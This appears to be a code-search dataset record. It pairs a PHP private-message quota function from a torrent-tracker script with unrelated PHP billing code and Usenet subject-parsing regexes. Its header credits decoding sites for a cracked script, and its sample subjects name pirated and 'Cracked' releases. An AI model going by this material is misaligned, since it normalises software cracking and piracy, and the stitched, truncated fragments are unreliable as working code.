\t\t\t}\n \t\t\t}\n \t\t}\n \t}\n \t//echo \"<pre>\",print_r($pricepointLocwisetotal),\"<pre>\";\n \tforeach ($taskunitbillingdata1 as $keysclient => $values){\n \t\tforeach ($values as $keyscase => $values1){\n\t \t\tforeach ($values1 as $k => $value){\n\t\t \t\tif(is_numeric($k))\n\t\t \t\t{\n\t\t \t\t\tif(isset($pricepointLocwisetotal[$keysclient][$keyscase][$value['price_pointid']][$value['loc']][$value['unit_price_id']]['unit_total']))\n\t\t \t\t\t{\n\t\t\t \t\t\tif ($value['istemprate'] != 1) {\n\t\t\t \t\t\t\t$quantity = $pricepointLocwisetotal[$keysclient][$keyscase][$value['price_pointid']][$value['loc']][$value['unit_price_id']]['unit_total'];\n\t\t\t\t\t $rate = (new TasksUnitsBilling)->checkpricingforrate($keysclient, $keyscase, $value['price_pointid'], $quantity ,\"\",$value['loc']);\n\t\t\t\t\t if ($value['discount'] != '') {\n\t\t\t\t\t $frate = $rate - ($rate * $value['discount'] / 100);\n\t\t\t\t\t $finalrate = $rate;\n\t\t\t\t\t } else {\n\t\t\t\t\t $frate = $rate;\n\t\t\t\t\t $finalrate = $rate;\n\t\t\t\t\t }\n\n\t\t\t\t\t $taskunitbillingdata1[$keysclient][$keyscase][$k]['rate'] = $frate;\n\t\t \t\t\t\t\t$taskunitbillingdata1[$keysclient][$keyscase][$k]['subtotal'] = $frate * $value['unit_id'];\n\t\t\t\t\t }\n\t\t \t\t\t}\n\t \t\t\t}\n\t \t\t}\n \t\t}\n \t}\n }\n // echo \"<pre>\",print_r($taskunitbillingdata1),\"</pre>\";die;\n\t // echo \"<pre>\",print_r($taskunitbillingdata1),\"</pre>\";die;\n \t/* End : If Range PP then rate will be on the bases of total of all same unit along with same pricepoint of same location */\n \tforeach ($taskunitbillingdata1 as $key => $val)\n \t{\n $total = 0;\n $cnt = 0;\n $setdeletetotal = 0;\n $taskdiscount = 0;\n foreach ($val as $ckey => $cval) {\n \tforeach ($cval as $kkey => $kval) {\n \tif($kval['invoiced']!=2){\n\t \t$total += $kval['subtotal'];\n \t}\n\t }\n }\n $mainTotal =$mainTotal +$total;\n }\n \treturn $mainTotal;\n }" ]
[ "0.5744344", "0.54155195", "0.5370198", "0.53587365", "0.53376955", "0.5335801", "0.5301051", "0.5299128", "0.5265297", "0.5211642", "0.5205609", "0.5198455", "0.51833236", "0.5176103", "0.51488626", "0.51270884", "0.512655", "0.51112545", "0.51011163", "0.50884956", "0.5074694", "0.5072926", "0.5071046", "0.506379", "0.5060486", "0.50564104", "0.50560075", "0.5054051", "0.5042316", "0.5036022", "0.5019058", "0.50160307", "0.501562", "0.5015255", "0.5010922", "0.50036675", "0.5003077", "0.4999773", "0.49974006", "0.49945676", "0.4982195", "0.49741092", "0.4959682", "0.49589634", "0.49544433", "0.49536195", "0.49499068", "0.49481863", "0.4938048", "0.49353698", "0.49337023", "0.4931229", "0.49255753", "0.4923132", "0.491064", "0.48954508", "0.48950365", "0.48944682", "0.4891574", "0.4873096", "0.4869257", "0.48579735", "0.48564264", "0.48542947", "0.4852974", "0.48508093", "0.48476017", "0.4845867", "0.48411965", "0.48386583", "0.48384872", "0.48373392", "0.48200837", "0.48128387", "0.4806165", "0.48003954", "0.47994387", "0.4793588", "0.47931382", "0.47894984", "0.4784168", "0.47759008", "0.47701314", "0.47698683", "0.47683996", "0.47636497", "0.47611573", "0.47503176", "0.47493088", "0.47473267", "0.47394603", "0.4737058", "0.47338971", "0.47303587", "0.47267067", "0.4720813", "0.47164986", "0.47090444", "0.4707856", "0.47058186", "0.47046366" ]
0.0
-1
/=========[TS Special Edition v.5.6]========== /=============[Special Thanks To]============= / DrNet wWw.SpecialCoders.CoM / Vinson wWw.Decode4u.CoM / MrDecoder wWw.FearlessReleases.CoM / Fynnon wWw.BvList.CoM
function pm_limit ($showlimit = true, $disablepm = false, $userid = '', $usergroup = '') { global $lang; global $CURUSER; global $usergroups; if ((!$CURUSER OR !$usergroups)) { return false; } if ((!$userid AND !$disablepm)) { $userid = intval ($CURUSER['id']); } if ($disablepm) { $gid = intval ($usergroup); $getamount = sql_query ('SELECT pmquote FROM usergroups WHERE gid = ' . sqlesc ($gid) . ' LIMIT 1'); $maxpmstorage = intval (mysql_result ($getamount, 0, 'pmquote')); } else { $maxpmstorage = intval ($usergroups['pmquote']); } if ($maxpmstorage == 0) { return null; } $count1 = mysql_num_rows (sql_query ('' . 'SELECT m.* FROM messages m WHERE m.receiver=' . $userid . ' and m.location != 0')); $count2 = mysql_num_rows (sql_query ('' . 'SELECT m.* FROM messages m WHERE m.sender=' . $userid . ' AND m.saved=\'yes\'')); $pmscounttotal = intval ($count1 + $count2); $overhalf = ''; if (($maxpmstorage <= $pmscounttotal AND $disablepm)) { return false; } if ($showlimit) { if ($maxpmstorage <= $pmscounttotal) { $spaceused = 100; $spaceused2 = 0; $belowhalf = ''; $overhalf = '100%'; $warnmsg = '<table border="0" cellspacing="0" cellpadding="0" class="tborder"> <tr> <td class="trow1" align="center"><span class="smalltext"><strong><font color="#760306">' . $lang->global['reached_warning'] . '</font></strong><br />' . $lang->global['reached_warning2'] . '</span></td> </tr></table><br />'; } else { $spaceused = $pmscounttotal / $maxpmstorage * 100; $spaceused2 = 100 - $spaceused; $warnmsg = ''; if ($spaceused <= '50') { $belowhalf = round ($spaceused, 0) . '%'; } else { $overhalf = round ($spaceused, 0) . '%'; } } $msg = ' <table border="0" cellspacing="0" cellpadding="5" class="tborder" width="100%"> <tr> <td class="trow1" align="center"><p>' . sprintf ($lang->global['pmlimitmsg'], $pmscounttotal, $maxpmstorage) . '</p> <table align="center" cellspacing="0" cellpadding="0" width="230" style="border: solid 1px #000000;"> <tr> <td width="' . $spaceused . '" bgcolor="#760306" align="center"> <font color="#000000" size="1"><strong>' . $overhalf . '</font></span></td> <td width="' . $spaceused2 . '" bgcolor="#035219" align="center"> <font color="#000000" size="1"><strong>' . $belowhalf . '</font></span></td> <td width="130" align="center"><font color="#000000" size="1"><strong>' . $lang->global['pmspace'] . '</strong></font></td> </tr> </table></tr></td></table><br />'; $msg = ($warnmsg ? $warnmsg . $msg : $msg); return $msg; } return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function cbt()\n\t{\n\t\tif (preg_match('/^\\(([a-zA-Z0-9-\\.\\&_ ]+)\\) \\[\\d+\\/(\\d+\\]) - \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[ ABCAsiaPacific.com - Study English IELTS Preparation (2006) ] AVI.PDF (17/34) - \"abcap-senglishielts.r16\" yEnc\n\t\t//[ Ask Video - The Studio Edge 101 Planning a Recording Studio ] MP4.x264 (00/21) - \"syn-avtse101.nzb\" yEnc\n\t\t//[ Brian Tracy and Colin Rose - Accelerated Learning Techniques (2003) ] MP3.PDF (00/14) - \"btcr-accltech.nzb\" yEnc\n\t\t//[ Lynda.com - Advanced Modeling in Revit Architecture (2012) ] DVD.ISO (41/53) - \"i-lcamira.r38\" yEnc\n\t\t//[ Morgan Kaufmann - Database Design Know It All (2008) ] TRUE.PDF (0/5) - \"Morgan.Kaufmann.Database.Design.Know.It.All.Nov.2008.eBook-DDU.nzb\" yEnc\n\t\t//[ VertexPusher - Vol. 2 Lighting, Shading and Rendering (2012) ] MP4.x264 (05/20) - \"vp-c4dlsar.r03\" yEnc\n\t\tif (preg_match('/^\\[ ([a-zA-Z0-9-\\.\\&\\(\\)\\,_ ]+) \\] [a-zA-Z0-9]{3,4}\\.[a-zA-Z0-9]{3,4} \\(\\d+\\/(\\d+\\)) - \".+?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"MythBusters S10E02 720p HDTV x264-DHD.rar\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . ' {1,2}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //2nd Annual American CountryMusicAwards 2011 HDTV XviD 2HD.rar yEnc\n\t\tif (preg_match('/^(.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) {1,2}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [005/358] - \"WLAN - professionell absichern.rar\" Sayco yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' Sayco yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function mom()\n\t{\n\t\tif (preg_match('/^\\[usenet4ever\\.info\\] und \\[SecretUsenet\\.com\\] - (.+?)-u4e - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //brothers-of-usenet.info/.net <<<Partner von SSL-News.info>>> - [01/26] - \"Be.Cool.German.AC3.HDRip.x264-FuN.par2\" yEnc\n\t\tif (preg_match('/^\\[Art-of-Usenet\\] ([a-fA-F0-9]+) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(????) [03/20] - \"Weblinger - The.Haunted.House.Mysteries.v1.0-ZEKE.part01.rar\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+?[-_\\s]{0,3}yEnc$/ui',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //ShesGonnaSquirt.12.12.13.Sindy.Lange.My.Knight.In.Squirting.Armor.XXX.1080p.x264 - [1/1] - \"ShesGonnaSquirt.12.12.13.Sindy.Lange.My.Knight.In.Squirting.Armor.XXX.1080p.x264.rar\" yEnc\n\t\tif (preg_match('/[\\w.-]{8,}[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[Art-of-Usenet] dea75eb65e65c56197d749d57919806d [01/19] - \"dea75eb65e65c56197d749d57919806d.par2\" yEnc\n\t\tif (preg_match('/^\\[Art-of-Usenet\\] .+? \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<ghost-of-usenet.org>XCOM.Enemy.Unknown.Deutsch.Patch.TokZic [0/9] - \"XCOM Deutsch.nzb\" ein CrazyUpp yEnc\n\t\tif (preg_match('/^<ghost-of-usenet\\.org>(.+?) \\[\\d+\\/\\d+\\] - \".+?\" .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //.oO \"20.Years.After.German.2008.AC3.BDRip.XviD.INTERNAL-ARC__www.realmom.info__.nfo\" Oo. [02/39] 1,43 GB yEnc\n\t\tif (preg_match('/^\\.oO \"(.+)__www.realmom.info__.+\" Oo. \\[\\d+\\/\\d+\\] \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<kere.ws> - 0DAY - 1331086126 - Robokill.Rescue.Titan.Prime.v1.1.MacOSX.Cracked-CORE - [1/9] - \"Robokill.Rescue.Titan.Prime.v1.1.MacOSX.Cracked-CORE.par2\" yEnc\n\t\tif (preg_match('/^<kere\\.ws>[ _-]{0,3}\\w+(-\\w+)?[ _-]{0,3}\\d+[ _-]{0,3}(.+) - \\[\\d+\\/\\d+\\][ _-]{0,3}(\"|#34;).+?(\"|#34;) yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //[A_New_Found_Glory-Its_All_About_The_Girls-Reissue-CDEP-FLAC-2003-JLM] [www.usenet4ever.info by Secretusenet] - \"00-a_new_found_glory-its_all_about_the_girls-reissue-cdep-flac-2003.jpg\" yEnc\n\t\tif (preg_match('/^\\[(.+?)\\][ _-]{0,3}\\[www\\.usenet4ever\\.info by Secretusenet][ _-]{0,3} \".+?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//MoM100060 - \"Florian_Arndt-Trix-(BBM36)-WEB-2012-UKHx__www.realmom.info__.nfo\" [2/7] 29,04 MB yEnc\n\t\t//\"Alan.Wake.v1.02.16.4261.Update-SKIDROW__www.realmom.info__.nfo\" (02/17) 138,07 MB yEnc\n\t\tif (preg_match('/^(Mom\\d+[ _-]{0,3})?\"(.+?)__www\\.realmom\\.info__' . $this->e0 .\n\t\t\t\t\t '[ _-]{0,3}[\\(\\[]\\d+\\/(\\d+[\\)\\]]) \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //\"The.Draughtsmans.Contract.1982.576p.BluRay.DD2.0.x264-EA\"(15/56) \"The.Draughtsmans.Contract.1982.576p.BluRay.DD2.0.x264-EA.part13.rar\" - 2.37 GB yEnc\n\t\tif (preg_match('/^\"(.+?)\"\\(\\d+\\/(\\d+\\))[ _-]{0,3}\".+?' . $this->e0 .\n\t\t\t\t\t '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB] yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/29) - Description - \"Revolution.2012.S01E06.HDTV.x264-LOL.nfo\" - 317.24 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/(\\d+\\))[ _-]{0,3}Description[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(02/17) - [Lords-of-Usenet] <<Partner of SSL-News.info>> i8dewFjzft94BW71EI0s -\"19913.r00\" - 928,75 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/(\\d+\\))[ _-]{0,3}\\[Lords-of-Usenet\\][ _-]{0,3}<<Partner of SSL-News\\.info>>[ _-]{0,3}(.+?)[ _-]{0,3}\".+?' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //[002/161] - \"Rayman_Legends_USA_PS3-CLANDESTiNE.nfo\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//NetVideoGirls.13.08.05.Julia.XXX.MP4-KTR - [1/1] - \"NetVideoGirls.13.08.05.Julia.XXX.MP4-KTR.rar\" yEnc\n\t\t//FemaleAgent.E136.Rollie.XXX.1080p.MOV-KTR - [1/1] - \"FemaleAgent.E136.Rollie.XXX.1080p.MOV-KTR.rar\" yEnc\n\t\t//Penthouse.13.07.13.Natalia.Starr.Pet.Of.Month.July.2013.XXX.3D.WMV-TBP - [1/1] - \"Penthouse.13.07.13.Natalia.Starr.Pet.Of.Month.July.2013.XXX.3D.WMV-TBP.rar\" yEnc\n\t\tif (preg_match('/^([a-z0-9].+?\\.XXX.*?\\.[a-z0-9]{3,4}-[a-z0-9]+) - \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //happy birthday brothers - brothers-of-usenet.info&net-empfehlen-ssl-news - 2brokegirls-s03e12-Die.franzoesische.Versuchung.48 - [01/12] - \"2brokegirls-s03e12-Die.franzoesische.Versuchung.480p.par2\" yEnc\n\t\tif (preg_match('/brothers-of-usenet\\.info&net-empfehlen-ssl-news.+\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Eragon postet Pfeil S01E18 german [01/19] - \"Pfeil S01E18.par2\" yEnc\n\t\tif (preg_match('/^Eragon postet.+\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"[Fansub-Resistance] Naruto Shippuuden 345 xvid (848x480).vol25+15.PAR2\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Die.Sopranos.S05E02.German.AVC-TVS.vol063+60.par2\" (repack180414) yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //LOL.3E05.720p.WEB.DL.nHD.x264-NhaNc3 [64/71] - \"LOL.3E05.720p.WEB.DL.nHD.x264-NhaNc3.sfv\" yEnc\n\t\tif (preg_match('/^([\\w.-]{8,})[-_\\s]{0,3}\\[\\d+\\/(\\d+\\])[-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t\t&& !preg_match('/^(\\d{4,6})-\\d{1}\\[/', $this->subject)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Uploader.Presents-LaLa.2014.Englisch.R6.HDCAM.x264.AC3-SmY(06/56]\"SmY-I,F.2014.part05.rar\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-(.+)[\\[\\(]\\d+\\/\\d+[\\]\\)]\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(21/27) - Description Lava.Land.2013.3D.1080p.Bluray.HOU.X264.DL-zman - \"Lava.Land.2013.3D.1080.HOU.DL-zman.part20.rar\" - 8,85 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}Description ([\\w.,& ()\\[\\]\\'\\`-]{8,}?)[-_\\s]{0,3}\".+?' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- \"z7QxDdQ5Qs63v8B8.01\" - 374,56 MB - yEnc\n\t\t//- Description - \"le gars et son arc 2x21.vol06+05.PAR2\" - 273,04 MB - yEnc\n\t\tif (preg_match('/^- (Description - )?\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //::: Usejunkies.tk ::: - [11/15] - \"Saitenfeuer - Kein Zurueck 2013.vol00+1.par2\" - 116,42 MB yEnc\n\t\tif (preg_match('/^.+Usejunkies\\.tk.+\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //:.Usejunkies.tk.:---- - [4/8] - \"MKTO - MKTO.vol00+5.par2\" yEnc\n\t\tif (preg_match('/^.+Usejunkies\\.tk.+\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"8ÅdTbOMaÃ¥RuieuD4gÃ¥jÅwOÃ¥bmS72ADÅM1b2æefz9q4yW4O7exV.vol037+6.par2\" yEnc\n\t\tif (preg_match('/^\"(.{8,}?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(08/12) [ArtofUsenet] >>> www.art-of-use.net <<< \"Alles Atze - S01E05 - Die Anatolische Fliege.vol01+02.par2\" - 245,19 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \\[ArtofUsenet\\].+www\\.art-of-use\\.net.+\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/10) - [Lords-of-Usenet] <<Sponsored by SSL-News.info>> presents AoA.Audio.Extractor.Platinum.v2.0.Portable.WiNALL.APPZ-NOTRADE -\"notrade-aoaextractorplati_portable.par2\" - 8,14 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - \\[Lords-of-Usenet\\].+ presents (.+?)[-_\\s]{0,3}\".+?' .\n\t\t\t$this->e2,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(02/66) - [Lords-of-Usenet] <<Partner of SSL-News.info>> presents The_Swapper-FANiSO - \"fan-swap.rar\" - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - \\[Lords-of-Usenet\\].+ presents (.+?)[-_\\s]{0,3}\".+?' .\n\t\t\t$this->e1,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(1/3) - \"Readers Digest Magazin Deutschland Oktober 10-2014.rar\" - 10,92 MB - >>brothers-of-usenet.info/net<< empfehlen SSL-News.info yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+([.,]\\d+)? [kKmMgG][bB][-_\\s].+yEnc$/ui',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(1/3) \"Die drei Fragezeichen - Folge 162 - Der schreiende Nebel.rar\" - 121,56 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t$this->e2,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //brothers-of-usenet.ino/.net<<<Partner von SSL-News.info>>> - [05/33] - \"oiu78_67O77OuiI_ztRe014.part04.rar\" yEnc\n\t\tif (preg_match('/^brothers-of-usenet.+SSL-News\\.info.+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖܖ¤ß¶!.,&_()\\[\\]\\'\\`-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //\"Fabulous MP3.v1.10.rar\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function sounds_mp3_complete_cd()\n\t{\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"(.+?) www\\.brothers-of-usenet\\.org - empfehlen - Newsconnection(\\.eu)?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/15) \"Dafuniks - Enter The Sideshow Groove.rar.001\"by_Funkeefly yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t 'by_Funkeefly yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //trtk09920 - [01/12] - \"Guido Negraszus - Night Cafe Iii (Freedom Travellers) (2012)(320).par2\" yEnc\n\t\tif (preg_match('/^trtk\\d+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/20) \"Oz Discography by Grave Digger.par2\" - 445,72 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(D The Best Of Leon Russell [23/28] - The Best Of Leon Russell.vol00+01.PAR2 yEnc\n\t\tif (preg_match('/^\\(D(\\))? (.+) {1,2}\\[\\d+\\/\\d+\\] - .+?([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) {1,2}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //<<< <ghost-of-usenet.org> <\"Dream Dance Vol. 21-30 - 20CDs MP3 - Ghost.part20.rar\"> >www.SSL-News.info< - (22/32) - 2,45 GB yEnc\n\t\tif (preg_match('/^.+ghost-of-usenet\\.org.+\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t '> >www\\.SSL-News\\.info< - \\(\\d+\\/\\d+\\) - \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<Cowboyup35>>><<<Adele - Rolling In The Deep.mp4>>>usenet-space-cowboys.info<<<Powered by https://secretusenet.com>< \"Adele - Rolling In The Deep.mp4\" >< 2/5 (77,13 MB) >< 63,94 MB > 